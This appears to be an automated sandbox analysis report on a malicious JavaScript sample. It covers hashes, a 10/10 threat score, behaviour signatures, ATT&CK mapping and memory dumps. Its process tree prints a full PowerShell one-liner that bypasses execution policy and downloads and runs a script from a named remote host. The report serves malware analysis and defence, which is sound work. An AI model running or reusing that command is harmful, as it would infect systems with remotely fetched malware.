b9bbd7e00c53ca840ce0e3019b82c980afae9984dbbf54739e42acba7da031e9

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:41

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General

Target

b9bbd7e00c53ca840ce0e3019b82c980afae9984dbbf54739e42acba7da031e9.js
Size

66KB
MD5

aa6cf1c2d9f71a43c7ee0111080fb422
SHA1

6ac2fdd1b6536b4876844c369222e65e74ca7424
SHA256

b9bbd7e00c53ca840ce0e3019b82c980afae9984dbbf54739e42acba7da031e9
SHA512

dfd74b4f204a53dd2f41f55c48a0836cf52f6228bfb9146cef5c7c67093125a6dd43a2f64eff5b88c5b423ae28d3f40389460d326fbc32fb24ca32d33e98df7f
SSDEEP

1536:wI/vYh4KOCARjVbh5E/LuH6Cvpwrmpz7hU557tRtMVCkTOQ1i:nmCZbh58M6CvOmpz7hw57tRtcN6Q1i

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2532	powershell.exe
4	2532	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2532	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 2532	2372	wscript.exe	28
PID 2372 wrote to memory of 2532	2372	wscript.exe	28
PID 2372 wrote to memory of 2532	2372	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\b9bbd7e00c53ca840ce0e3019b82c980afae9984dbbf54739e42acba7da031e9.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2532-4-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2532-5-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2532-6-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-7-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/2532-8-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-9-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/2532-10-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/2532-11-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/2532-12-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/2532-13-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download